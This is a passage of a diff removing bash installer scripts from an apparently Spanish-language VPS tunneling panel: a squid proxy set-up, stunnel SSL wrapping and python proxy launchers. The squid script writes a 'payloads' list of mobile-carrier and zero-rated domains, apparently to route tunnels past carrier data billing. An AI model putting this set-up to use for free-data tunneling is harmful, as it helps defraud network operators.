- echo -ne " Digite Una Opcion: \033[1;37m" && read portproxy
- tput cuu1 && tput dl1
- done
-  case $portproxy in
-  	1)
-  	selecionador
- 	screen -dmS screen python ${SCPinst}/PPub.py "$porta_socket" "$texto_soket";;
-     2)
-     selecionador
- 	screen -dmS screen python3 ${SCPinst}/PPriv.py "$porta_socket" "$texto_soket" "$IP";;
-     3)PythonDic_fun;;
-     4)
-     selecionador
- 	screen -dmS screen python ${SCPinst}/POpen.py "$porta_socket" "$texto_soket";;
-     5)
-     selecionador
- 	gettunel_fun "$porta_socket";;
-     6)
-     selecionador
- 	tcpbypass_fun "$porta_socket" "$texto_soket";;
-     7)remove_fun;;
-     0)return;;
-      esac
- echo -e "\033[1;92m$(fun_trans "Procedimiento COMPLETO")"
- msg -bar
- }
- iniciarsocks
-  

+ 0 - 372
SCRIPT-v8.5x Mod/VPS-MX/protocolos/squid.sh

@@ -1,372 +0,0 @@
-#!/bin/bash
- #25/01/2021
- declare -A cor=( [0]=" \033[1;37m" [1]=" \033[1;34m" [2]=" \033[1;32m" [3]=" \033[1;36m" [4]=" \033[1;31m" )
- clear
- clear
- SCPdir="/etc/VPS-MX"
- SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
- SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
- #LISTA PORTAS
- mportas () {
- unset portas
- portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
- while read port; do
- var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2 \n"
- done <<< "$portas_var"
- i=1
- echo -e "$portas"
- }
- fun_ip () {
- MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127 \.[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3}' | grep -o -E '[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3}' | head -1)
- MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
- [[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
- }
- #ETHOOL SSH
- fun_eth () {
- eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
-     [[ $eth != "" ]] && {
-     msg -bar
-     echo -e "${cor[3]} $(fun_trans  "Aplicar el sistema para mejorar los paquetes SSH?")"
-     echo -e "${cor[3]} $(fun_trans  "Opciones para usuarios avanzados")"
-     msg -bar
-     read -p "[S/N]: " -e -i n sshsn
-     tput cuu1 && tput dl1
-            [[ "$sshsn" = @(s|S|y|Y) ]] && {
-            echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH...")"
- 		   msg -bar
-            echo -e " $(fun_trans "Cual es la tasa RX")"
-            echo -ne "[ 1 - 999999999 ]: "; read rx
-            [[ "$rx" = "" ]] && rx="999999999"
-            echo -e " $(fun_trans "Cual es la tasa TX")"
-            echo -ne "[ 1 - 999999999 ]: "; read tx
-            [[ "$tx" = "" ]] && tx="999999999"
-            apt-get install ethtool -y > /dev/null 2>&1
-            ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
-            msg -bar
-            }
-      }
- }
- fun_bar () {
- comando="$1"
-  _=$(
- $comando > /dev/null 2>&1
- ) & > /dev/null
- pid=$!
- while [[ -d /proc/$pid ]]; do
- echo -ne "  \033[1;33m["
-    for((i=0; i<20; i++)); do
-    echo -ne " \033[1;31m##"
-    sleep 0.2
-    done
- echo -ne " \033[1;33m]"
- sleep 1s
- echo
- tput cuu1 && tput dl1
- done
- echo -e "  \033[1;33m[ \033[1;31m######################################## \033[1;33m] -  \033[1;32m100% \033[0m"
- sleep 1s
- }
- msg -bar3
- fun_squid  () {
-   if [[ -e /etc/squid/squid.conf ]]; then
-   var_squid="/etc/squid/squid.conf"
-   elif [[ -e /etc/squid3/squid.conf ]]; then
-   var_squid="/etc/squid3/squid.conf"
-   fi
-   [[ -e $var_squid ]] && {
-   echo -e " \033[1;32m $(fun_trans "REMOVIENDO SQUID")"
-   msg -bar
-   service squid stop > /dev/null 2>&1
-   apt-get remove squid3 -y &>/dev/null && echo -e "  \033[1;33m[ \033[1;31m################################# \033[1;33m] -  \033[1;32m100% \033[0m"
-   msg -bar
-   echo -e " \033[1;32m $(fun_trans "Procedimento Concluido")"
-   msg -bar
-   [[ -e $var_squid ]] && rm $var_squid
-   return 0
-   }
- msg -bar
- msg -tit
- msg -ama "         INSTALADOR SQUID VPS-MX"
- msg -bar
- fun_ip
- echo -ne " $(fun_trans "Confirme su ip") \033[1;91m"; read -p ": " -e -i $IP ip
- msg -bar
- echo -e " $(fun_trans " \033[1;97mAhora elige los puertos que desea en el Squid")"
- echo -e " $(fun_trans " \033[1;97mSeleccione puertos en orden secuencial, \n  \033[1;92mEjemplo: 80 8080 8799 3128")"
- msg -bar
- echo -ne " $(fun_trans "Digite losPuertos:") \033[1;32m "; read portasx
- msg -bar
- totalporta=($portasx)
- unset PORT
-    for((i=0; i<${#totalporta[@]}; i++)); do
-         [[ $(mportas|grep "${totalporta[$i]}") = "" ]] && {
-         echo -e " \033[1;33m $(fun_trans  "Puerto Escojido:") \033[1;32m ${totalporta[$i]} OK"
-         PORT+="${totalporta[$i]} \n"
-         } || {
-         echo -e " \033[1;33m $(fun_trans  "Puerto Escojido:") \033[1;31m ${totalporta[$i]} FAIL"
-         }
-    done
-   [[ -z $PORT ]] && {
-   echo -e " \033[1;31m $(fun_trans  "No se ha elegido ninguna puerto valido") \033[0m"
-   return 1
-   }
- msg -bar
- echo -e " $(fun_trans  "INSTALANDO SQUID")"
- msg -bar
- apt-get install squid3 -y &>/dev/null && echo -e "  \033[1;33m[ \033[1;31m######################################## \033[1;33m] -  \033[1;32m100% \033[0m" | pv -qL10
- 
- msg -bar
- echo -e " $(fun_trans  "INICIANDO CONFIGURACION")"
- echo -e ".bookclaro.com.br/ \n.claro.com.ar/ \n.claro.com.br/ \n.claro.com.co/ \n.claro.com.ec/ \n.claro.com.gt/ \n.cloudfront.net/ \n.claro.com.ni/ \n.claro.com.pe/ \n.claro.com.sv/ \n.claro.cr/ \n.clarocurtas.com.br/ \n.claroideas.com/ \n.claroideias.com.br/ \n.claromusica.com/ \n.clarosomdechamada.com.br/ \n.clarovideo.com/ \n.facebook.net/ \n.facebook.com/ \n.netclaro.com.br/ \n.oi.com.br/ \n.oimusica.com.br/ \n.speedtest.net/ \n.tim.com.br/ \n.timanamaria.com.br/ \n.vivo.com.br/ \n.rdio.com/ \n.compute-1.amazonaws.com/ \n.portalrecarga.vivo.com.br/ \n.vivo.ddivulga.com/" > /etc/payloads
- msg -bar
- echo -e " \033[1;32m $(fun_trans  "Ahora Escoja Una Conf Para Su Proxy")"
- msg -bar
- echo -e "|1| $(fun_trans  "Basico")"
- echo -e "|2| $(fun_trans  "Avanzado") \033[1;37m"
- msg -bar
- read -p "[1/2]: " -e -i 1 proxy_opt
- tput cuu1 && tput dl1
- if [[ $proxy_opt = 1 ]]; then
- echo -e " $(fun_trans  "          INSTALANDO SQUID BASICO")"
- elif [[ $proxy_opt = 2 ]]; then
- echo -e " $(fun_trans  "          INSTALANDO SQUID AVANZADO")"
- else
- echo -e " $(fun_trans  "          INSTALANDO SQUID BASICO")"
- proxy_opt=1
- fi
- unset var_squid
- if [[ -d /etc/squid ]]; then
- var_squid="/etc/squid/squid.conf"
- elif [[ -d /etc/squid3 ]]; then
- var_squid="/etc/squid3/squid.conf"
- fi
- if [[ "$proxy_opt" = @(02|2) ]]; then
- echo -e "#ConfiguracaoSquiD
- acl url1 dstdomain -i $ip
- acl url2 dstdomain -i 127.0.0.1
- acl url3 url_regex -i '/etc/payloads'
- acl url4 url_regex -i '/etc/opendns'
- acl url5 dstdomain -i localhost
- acl accept dstdomain -i GET
- acl accept dstdomain -i POST
- acl accept dstdomain -i OPTIONS
- acl accept dstdomain -i CONNECT
- acl accept dstdomain -i PUT
- acl HEAD dstdomain -i HEAD
- acl accept dstdomain -i TRACE
- acl accept dstdomain -i OPTIONS
- acl accept dstdomain -i PATCH
- acl accept dstdomain -i PROPATCH
- acl accept dstdomain -i DELETE
- acl accept dstdomain -i REQUEST
- acl accept dstdomain -i METHOD
- acl accept dstdomain -i NETDATA
- acl accept dstdomain -i MOVE
- acl all src 0.0.0.0/0
- http_access allow url1
- http_access allow url2
- http_access allow url3
- http_access allow url4
- http_access allow url5
- http_access allow accept
- http_access allow HEAD
- http_access deny all
- 
- # Request Headers Forcing
- 
- request_header_access Allow allow all
- request_header_access Authorization allow all
- request_header_access WWW-Authenticate allow all
- request_header_access Proxy-Authorization allow all
- request_header_access Proxy-Authenticate allow all
- request_header_access Cache-Control allow all
- request_header_access Content-Encoding allow all
- request_header_access Content-Length allow all
- request_header_access Content-Type allow all
- request_header_access Date allow all
- request_header_access Expires allow all
- request_header_access Host allow all
- request_header_access If-Modified-Since allow all
- request_header_access Last-Modified allow all
- request_header_access Location allow all
- request_header_access Pragma allow all
- request_header_access Accept allow all
- request_header_access Accept-Charset allow all
- request_header_access Accept-Encoding allow all
- request_header_access Accept-Language allow all
- request_header_access Content-Language allow all
- request_header_access Mime-Version allow all
- request_header_access Retry-After allow all
- request_header_access Title allow all
- request_header_access Connection allow all
- request_header_access Proxy-Connection allow all
- request_header_access User-Agent allow all
- request_header_access Cookie allow all
- #request_header_access All deny all
- 
- # Response Headers Spoofing
- 
- #reply_header_access Via deny all
- #reply_header_access X-Cache deny all
- #reply_header_access X-Cache-Lookup deny all
- 
- #portas" > $var_squid
- for pts in $(echo -e $PORT); do
- echo -e "http_port $pts" >> $var_squid
- done
- echo -e "
- #nome
- visible_hostname VPS-MX
- 
- via off
- forwarded_for off
- pipeline_prefetch off" >> $var_squid
-  else
- echo -e "#Configuracion SquiD
- acl localhost src 127.0.0.1/32 ::1
- acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1
- acl SSL_ports port 443
- acl Safe_ports port 80
- acl Safe_ports port 21
- acl Safe_ports port 443
- acl Safe_ports port 70
- acl Safe_ports port 210
- acl Safe_ports port 1025-65535
- acl Safe_ports port 280
- acl Safe_ports port 488
- acl Safe_ports port 591
- acl Safe_ports port 777
- acl CONNECT method CONNECT
- acl SSH dst $ip-$ip/255.255.255.255
- http_access allow SSH
- http_access allow manager localhost
- http_access deny manager
- http_access allow localhost
- http_access deny all
- coredump_dir /var/spool/squid
- refresh_pattern ^ftp: 1440 20% 10080
- refresh_pattern ^gopher: 1440 0% 1440
- refresh_pattern -i (/cgi-bin/| \?) 0 0% 0
- refresh_pattern . 0 20% 4320
- 
- #Puertos" > $var_squid
- for pts in $(echo -e $PORT); do
- echo -e "http_port $pts" >> $var_squid
- done
- echo -e "
- #HostName
- visible_hostname VPS-MX
- 
- via off
- forwarded_for off
- pipeline_prefetch off" >> $var_squid
- fi
- touch /etc/opendns
- fun_eth
- msg -bar
- echo -ne "  \033[1;31m [ ! ]  \033[1;33m$(fun_trans  "    REINICIANDO SERVICIOS")"
- squid3 -k reconfigure > /dev/null 2>&1
- squid -k reconfigure > /dev/null 2>&1
- service ssh restart > /dev/null 2>&1
- service squid3 restart > /dev/null 2>&1
- service squid restart > /dev/null 2>&1
- echo -e "  \033[1;32m[OK]"
- msg -bar
- echo -e "${cor[3]}$(fun_trans  "            SQUID CONFIGURADO")"
- msg -bar
- #UFW
- for ufww in $(mportas|awk '{print $2}'); do
- ufw allow $ufww > /dev/null 2>&1
- done
- }
- SPR &
- online_squid () {
- payload="/etc/payloads"
- msg -bar
- echo -e " \033[1;33m$(fun_trans  "            SQUID CONFIGURADO")"
- msg -bar
- echo -e "${cor[2]} [1] >${cor[3]} $(fun_trans  "Colocar Host en Squid")"
- echo -e "${cor[2]} [2] >${cor[3]} $(fun_trans  "Remover Host de Squid")"
- echo -e "${cor[2]} [3] >${cor[3]} $(fun_trans  "Desinstalar Squid")"
- echo -e "${cor[2]} [0] >${cor[3]} $(fun_trans  "Volver")"
- msg -bar
- while [[ $varpay != @(0|[1-3]) ]]; do
- read -p "[0/3]: " varpay
- tput cuu1 && tput dl1
- done
- if [[ "$varpay" = "0" ]]; then
- return 1
- elif [[ "$varpay" = "1" ]]; then
- echo -e "${cor[4]} $(fun_trans  "Hosts Actuales Dentro del Squid")"
- msg -bar
- cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
- msg -bar
- while [[ $hos !=  \.* ]]; do
- echo -ne "${cor[4]}$(fun_trans  "Escriba el nuevo host"): " && read hos
- tput cuu1 && tput dl1
- [[ $hos =  \.* ]] && continue
- echo -e "${cor[4]}$(fun_trans  "Comience con") .${cor[0]}"
- sleep 2s
- tput cuu1 && tput dl1
- done
- host="$hos/"
- [[ -z $host ]] && return 1
- [[ `grep -c "^$host" $payload` -eq 1 ]] &&:echo -e "${cor[4]}$(fun_trans  "Host ya Exciste")${cor[0]}" && return 1
- echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload
- echo -e "${cor[4]}$(fun_trans  "Host Agregado con Exito")"
- msg -bar
- cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
- msg -bar
- if [[ ! -f "/etc/init.d/squid" ]]; then
- service squid3 reload
- service squid3 restart
- else
- /etc/init.d/squid reload
- service squid restart
- fi	
- return 0
- elif [[ "$varpay" = "2" ]]; then
- echo -e "${cor[4]} $(fun_trans  "Hosts Actuales Dentro del Squid")"
- msg -bar
- cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
- msg -bar
- while [[ $hos !=  \.* ]]; do
- echo -ne "${cor[4]}$(fun_trans  "Digite un Host"): " && read hos
- tput cuu1 && tput dl1
- [[ $hos =  \.* ]] && continue
- echo -e "${cor[4]}$(fun_trans  "Comience con") ."
- sleep 2s
- tput cuu1 && tput dl1
- done
- host="$hos/"
- [[ -z $host ]] && return 1
- [[ `grep -c "^$host" $payload` -ne 1 ]] &&!echo -e "${cor[5]}$(fun_trans  "Host No Encontrado")" && return 1
- grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload
- echo -e "${cor[4]}$(fun_trans  "Host Removido Con Exito")"
- msg -bar
- cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
- msg -bar
- if [[ ! -f "/etc/init.d/squid" ]]; then
- service squid3 reload
- service squid3 restart
- service squid reload
- service squid restart
- else
- /etc/init.d/squid reload
- service squid restart
- /etc/init.d/squid3 reload
- service squid3 restart
- fi	
- return 0
- elif [[ "$varpay" = "3" ]]; then
- fun_squid
- fi
- }
- if [[ -e /etc/squid/squid.conf ]]; then
- online_squid
- elif [[ -e /etc/squid3/squid.conf ]]; then
- online_squid
- else
- fun_squid
- fi 

+ 0 - 486
SCRIPT-v8.5x Mod/VPS-MX/protocolos/ssl.sh

@@ -1,486 +0,0 @@
-#!/bin/bash 
- #25/01/2021 by @Kalix1
- clear
- clear
- SCPdir="/etc/VPS-MX"
- SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
- SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
- declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" [5]="\e[1;36m" )
- 
- mportas () {
- unset portas
- portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
- while read port; do
- var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
- done <<< "$portas_var"
- i=1
- echo -e "$portas"
- }
- 
- fun_bar () {
- comando="$1"
-  _=$(
- $comando > /dev/null 2>&1
- ) & > /dev/null
- pid=$!
- while [[ -d /proc/$pid ]]; do
- echo -ne " \033[1;33m["
-    for((i=0; i<20; i++)); do
-    echo -ne "\033[1;31m##"
-    sleep 0.5
-    done
- echo -ne "\033[1;33m]"
- sleep 1s
- echo
- tput cuu1
- tput dl1
- done
- echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m"
- sleep 1s
- }
- 
- ssl_stunel () {
- [[ $(mportas|grep stunnel4|head -1) ]] && {
- echo -e "\033[1;33m $(fun_trans  "Deteniendo Stunnel")"
- msg -bar
- service stunnel4 stop > /dev/null 2>&1
- rm -rf /etc/stunnel/stunnel.conf
- apt-get purge stunnel4 -y &>/dev/null && echo -e "\e[31m DETENIENDO SERVICIO SSL" | pv -qL10
- apt-get purge stunnel4 &>/dev/null
- apt-get remove stunnel4 &>/dev/null
- rm -rf /etc/stunnel/certificado.zip private.key certificate.crt ca_bundle.crt &>/dev/null
- msg -bar
- echo -e "\033[1;33m $(fun_trans  "Detenido Con Exito!")"
- msg -bar
- return 0
- }
- clear
- msg -bar
- echo -e "\033[1;33m $(fun_trans  "Seleccione una puerta de redirección interna.")"
- echo -e "\033[1;33m $(fun_trans  "Un puerto SSH/DROPBEAR/SQUID/OPENVPN/PYTHON")"
- msg -bar
-          while true; do
-          echo -ne "\033[1;37m"
-          read -p " Puerto Local: " redir
- 		 echo ""
-          if [[ ! -z $redir ]]; then
-              if [[ $(echo $redir|grep [0-9]) ]]; then
-                 [[ $(mportas|grep $redir|head -1) ]] && break || echo -e "\033[1;31m $(fun_trans  "Puerto Invalido")"
-              fi
-          fi
-          done
- msg -bar
- DPORT="$(mportas|grep $redir|awk '{print $2}'|head -1)"
- echo -e "\033[1;33m $(fun_trans  "Ahora Que Puerto sera SSL")"
- msg -bar
-     while true; do
- 	echo -ne "\033[1;37m"
-     read -p " Puerto SSL: " SSLPORT
- 	echo ""
-     [[ $(mportas|grep -w "$SSLPORT") ]] || break
-     echo -e "\033[1;33m $(fun_trans  "Esta puerta está en uso")"
-     unset SSLPORT
-     done
- msg -bar
- echo -e "\033[1;33m $(fun_trans  "Instalando SSL")"
- msg -bar
- fun_bar "apt-get install stunnel4 -y"
- apt-get install stunnel4 -y > /dev/null 2>&1
- echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" > /etc/stunnel/stunnel.conf
- ####Coreccion2.0##### 
- openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1
- 
- (echo "mx" ; echo "mx" ; echo "Speed" ; echo "@conectedmx_bot" ; echo "@conectedmx" ; echo "@lacasitamx" ; echo "@conectedmx_vip" )|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1
- 
- cat stunnel.crt stunnel.key > stunnel.pem 
- 
- mv stunnel.pem /etc/stunnel/
- ######-------
- sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
- service stunnel4 restart > /dev/null 2>&1
- msg -bar
- echo -e "\033[1;33m $(fun_trans  "INSTALADO CON EXITO")"
- msg -bar
- rm -rf /etc/ger-frm/stunnel.crt > /dev/null 2>&1
- rm -rf /etc/ger-frm/stunnel.key > /dev/null 2>&1
- rm -rf /root/stunnel.crt > /dev/null 2>&1
- rm -rf /root/stunnel.key > /dev/null 2>&1
- return 0
- }
- SPR &
- ssl_stunel_2 () {
- echo -e "\033[1;32m $(fun_trans  "             AGREGAR MAS PUERTOS SSL")"
- msg -bar
- echo -e "\033[1;33m $(fun_trans  "Seleccione una puerta de redirección interna.")"
- echo -e "\033[1;33m $(fun_trans  "Un puerto SSH/DROPBEAR/SQUID/OPENVPN/SSL")"
- msg -bar
-          while true; do
-          echo -ne "\033[1;37m"
-          read -p " Puerto-Local: " portx
- 		 echo ""
-          if [[ ! -z $portx ]]; then
-              if [[ $(echo $portx|grep [0-9]) ]]; then
-                 [[ $(mportas|grep $portx|head -1) ]] && break || echo -e "\033[1;31m $(fun_trans  "Puerto Invalido")"
-              fi
-          fi
-          done
- msg -bar
- DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
- echo -e "\033[1;33m $(fun_trans  "Ahora Que Puerto sera SSL")"
- msg -bar
-     while true; do
- 	echo -ne "\033[1;37m"
-     read -p " Listen-SSL: " SSLPORT
- 	echo ""
-     [[ $(mportas|grep -w "$SSLPORT") ]] || break
-     echo -e "\033[1;33m $(fun_trans  "Esta puerta está en uso")"
-     unset SSLPORT
-     done
- msg -bar
- echo -e "\033[1;33m $(fun_trans  "Instalando SSL")"
- msg -bar
- fun_bar "apt-get install stunnel4 -y"
- echo -e "client = no\n[SSL+]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" >> /etc/stunnel/stunnel.conf
- ######-------
- sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
- service stunnel4 restart > /dev/null 2>&1
- msg -bar
- echo -e "${cor[4]}            INSTALADO CON EXITO"
- msg -bar
- rm -rf /etc/ger-frm/stunnel.crt > /dev/null 2>&1
- rm -rf /etc/ger-frm/stunnel.key > /dev/null 2>&1
- rm -rf /root/stunnel.crt > /dev/null 2>&1
- rm -rf /root/stunnel.key > /dev/null 2>&1
- return 0
- }
- sslpython(){
- msg -bar
- echo -e "\033[1;37mSe Requiere tener el puerto 80 y el 443 libres"
- echo -ne " Desea Continuar? [S/N]: "; read seg
- [[ $seg = @(n|N) ]] && msg -bar && return
- clear
- install_python(){ 
-  apt-get install python -y &>/dev/null && echo -e "\033[1;97m Activando Python Directo ►80\n" | pv -qL 10
-  
-  sleep 3  
-  screen -dmS pydic-80 python ${SCPinst}/python.py 80 "VPS-MX" && echo "80 VPS-MX" >> /etc/VPS-MX/PySSL.log
-  msg -bar
-  } 
-  
-  install_ssl(){  
-  apt-get install stunnel4 -y &>/dev/null && echo -e "\033[1;97m Activando Servicios SSL ►443\n" | pv -qL 12
-  
-  apt-get install stunnel4 -y > /dev/null 2>&1 
-  echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = 443\nconnect = 127.0.0.1:80" > /etc/stunnel/stunnel.conf 
-  openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1 
-  (echo mx; echo @lacasitamx; echo Full; echo speed; echo internet; echo @conectedmx; echo @conectedmx_bot)|openssl req -new -key stunnel.key -x509 -days 1095 -out stunnel.crt > /dev/null 2>&1
-  cat stunnel.crt stunnel.key > stunnel.pem   
-  mv stunnel.pem /etc/stunnel/ 
-  ######------- 
-  sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 
-  service stunnel4 restart > /dev/null 2>&1  
-  rm -rf /root/stunnel.crt > /dev/null 2>&1 
-  rm -rf /root/stunnel.key > /dev/null 2>&1 
-  } 
- install_python 
- install_ssl 
- msg -bar
- echo -e "${cor[4]}               INSTALACION COMPLETA"
- msg -bar
- }
- unistall(){
- clear
- msg -bar
- msg -ama "DETENIENDO SERVICIOS SSL Y PYTHON"
- msg -bar
- service stunnel4 stop > /dev/null 2>&1
- apt-get purge stunnel4 -y &>/dev/null
- apt-get purge stunnel -y &>/dev/null
- kill -9 $(ps aux |grep -v grep |grep -w "python.py"|grep dmS|awk '{print $2}') &>/dev/null
- rm /etc/VPS-MX/PySSL.log &>/dev/null
- rm -rf /etc/stunnel/certificado.zip private.key certificate.crt ca_bundle.crt &>/dev/null
- clear
- msg -bar
- msg -verd "LOS SERVICIOS SE HAN DETENIDO"
- msg -bar
- }
- 
- #
- certif(){
- msg -bar
- msg -tit
- echo -e "\e[1;37m ACONTINUACION ES TENER LISTO EL LINK DEL CERTIFICADO.zip\n VERIFICADO EN ZEROSSL, DESCARGALO Y SUBELO\n EN TU GITHUB O DROPBOX"
- echo -ne " Desea Continuar? [S/N]: "; read seg
- [[ $seg = @(n|N) ]] && msg -bar && return
- clear
- ####Cerrificado ssl/tls#####
- msg -bar
- echo -e "\e[1;33m👇 LINK DEL CERTIFICADO.zip 👇           \n     \e[0m"
- echo -ne "\e[1;36m LINK\e[37m: \e[34m"
- #extraer certificado.zip
- read linkd
- wget -O /etc/stunnel/certificado.zip $linkd &>/dev/null
- cd /etc/stunnel/
- unzip certificado.zip &>/dev/null
- cat private.key certificate.crt ca_bundle.crt > stunnel.pem
- rm -rf certificado.zip
- sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
- service stunnel restart > /dev/null 2>&1
- service stunnel4 restart &>/dev/null
- msg -bar
- echo -e "${cor[4]} CERTIFICADO INSTALADO CON EXITO \e[0m" 
- msg -bar
- }
- 
- certificadom(){
- if [ -f /etc/stunnel/stunnel.conf ]; then
- insapa2(){
- for pid in $(pgrep python);do
- kill $pid
- done
- for pid in $(pgrep apache2);do
- kill $pid
- done
- service dropbear stop
- apt install apache2 -y
- echo "Listen 80
- 
- <IfModule ssl_module>
-         Listen 443
- </IfModule>
- 
- <IfModule mod_gnutls.c>
-         Listen 443
- </IfModule> " > /etc/apache2/ports.conf
- service apache2 restart
- }
- clear
- msg -bar
- insapa2 &>/dev/null && echo -e " \e[1;33mAGREGANDO RECURSOS " | pv -qL 10
- msg -bar
- echo -e "\e[1;37m Verificar dominio \e[0m"
- msg -bar
- read -p " LLAVE: " keyy
- msg -bar
- read -p " DATOS: " dat2w
- mkdir -p /var/www/html/.well-known/pki-validation/
- datfr1=$(echo "$dat2w"|awk '{print $1}')
- datfr2=$(echo "$dat2w"|awk '{print $2}')
- datfr3=$(echo "$dat2w"|awk '{print $3}')
- echo -ne "${datfr1}\n${datfr2}\n${datfr3}" >/var/www/html/.well-known/pki-validation/$keyy.txt
- msg -bar
- echo -e "\e[1;37m VERIFIQUE EN LA PÁGINA ZEROSSL \e[0m"
- msg -bar
- read -p " ENTER PARA CONTINUAR"
- clear
- msg -bar
- echo -e "\e[1;33m👇 LINK DEL CERTIFICADO 👇       \n     \e[0m"
- echo -e "\e[1;36m LINK\e[37m: \e[34m"
- read link
- incertis(){
- wget $link -O /etc/stunnel/certificado.zip
- cd /etc/stunnel/
- unzip certificado.zip 
- cat private.key certificate.crt ca_bundle.crt > stunnel.pem
- service stunnel restart &>/dev/null
- service stunnel4 restart &>/dev/null
- }
- incertis &>/dev/null && echo -e " \e[1;33mEXTRAYENDO CERTIFICADO " | pv -qL 10
- msg -bar
- echo -e "${cor[4]} CERTIFICADO INSTALADO \e[0m" 
- msg -bar
- 
- for pid in $(pgrep apache2);do
- kill $pid
- done
- apt install apache2 -y &>/dev/null
- echo "Listen 81
- 
- <IfModule ssl_module>
-         Listen 443
- </IfModule>
- 
- <IfModule mod_gnutls.c>
-         Listen 443
- </IfModule> " > /etc/apache2/ports.conf
- service apache2 restart &>/dev/null
- service dropbear start &>/dev/null
- service dropbear restart &>/dev/null
- for port in $(cat /etc/VPS-MX/PortPD.log| grep -v "nobody" |cut -d' ' -f1)
- do
- PIDVRF3="$(ps aux|grep pydic-"$port" |grep -v grep|awk '{print $2}')"
- if [[ -z $PIDVRF3 ]]; then
- screen -dmS pydic-"$port" python /etc/VPS-MX/protocolos/python.py "$port"
- else
- for pid in $(echo $PIDVRF3); do
- echo ""
- done
- fi
- done
- else
- msg -bar
- echo -e "${cor[3]} SSL/TLS NO INSTALADO \e[0m"
- msg -bar
- fi
- }
- certifica2(){
- if [ -f /etc/stunnel/stunnel.conf ]; then
- insapa2(){
- for pid in $(pgrep python);do
- kill $pid
- done
- for pid in $(pgrep apache2);do
- kill $pid
- done
- service dropbear stop
- apt install apache2 -y
- echo "Listen 80
- 
- <IfModule ssl_module>
-         Listen 443
- </IfModule>
- 
- <IfModule mod_gnutls.c>
-         Listen 443
- </IfModule> " > /etc/apache2/ports.conf
- service apache2 restart
- }
- clear
- msg -bar
- insapa2 &>/dev/null && echo -e " \e[1;33mAGREGANDO RECURSOS " | pv -qL 10
- msg -bar
- echo -e "\e[1;37m Verificar dominio \e[0m"
- msg -bar
- read -p " LLAVE: " archi
- msg -bar
- echo -e "\e[1;37m COPIA LOS DATOS DEL ARCHIVO\n\e[1;33m$archi.txt\nLINEA1,LINEA2,LINEA3, SE TE PEDIRA POR PARTES \e[0m"
- read -p " LINEA 1: " dat1w
- read -p " LINEA 2: " dat2w
- read -p " LINEA 3: " dat3w
- mkdir -p /var/www/html/.well-known/pki-validation/
- dat1=$(echo "$dat1w"|awk '{print $1}')
- dat2=$(echo "$dat2w"|awk '{print $1}')
- dat3=$(echo "$dat3w"|awk '{print $1}')
- echo -ne "${dat1}\n${dat2}\n${dat3}" >/var/www/html/.well-known/pki-validation/$archi.txt
- msg -bar
- echo -e "\e[1;37m AHORA VERIFIQUE EN LA PÁGINA ZEROSSL \e[0m"
- msg -bar
- read -p " ENTER PARA CONTINUAR"
- clear
- msg -bar
- echo -e "\e[1;33m👇 LINK DEL CERTIFICADO 👇       \n     \e[0m"
- echo -e "\e[1;36m LINK\e[37m: \e[34m"
- read link
- incertis(){
- wget $link -O /etc/stunnel/certificado.zip
- cd /etc/stunnel/
- unzip certificado.zip 
- cat private.key certificate.crt ca_bundle.crt > stunnel.pem
- service stunnel restart &>/dev/null
- service stunnel4 restart &>/dev/null
- }
- incertis &>/dev/null && echo -e " \e[1;33mEXTRAYENDO CERTIFICADO " | pv -qL 10
- msg -bar
- echo -e "${cor[4]} CERTIFICADO INSTALADO \e[0m" 
- msg -bar
- 
- for pid in $(pgrep apache2);do
- kill $pid
- done
- apt install apache2 -y &>/dev/null
- echo "Listen 81
- 
- <IfModule ssl_module>
-         Listen 443
- </IfModule>
- 
- <IfModule mod_gnutls.c>
-         Listen 443
- </IfModule> " > /etc/apache2/ports.conf
- service apache2 restart &>/dev/null
- service dropbear start &>/dev/null
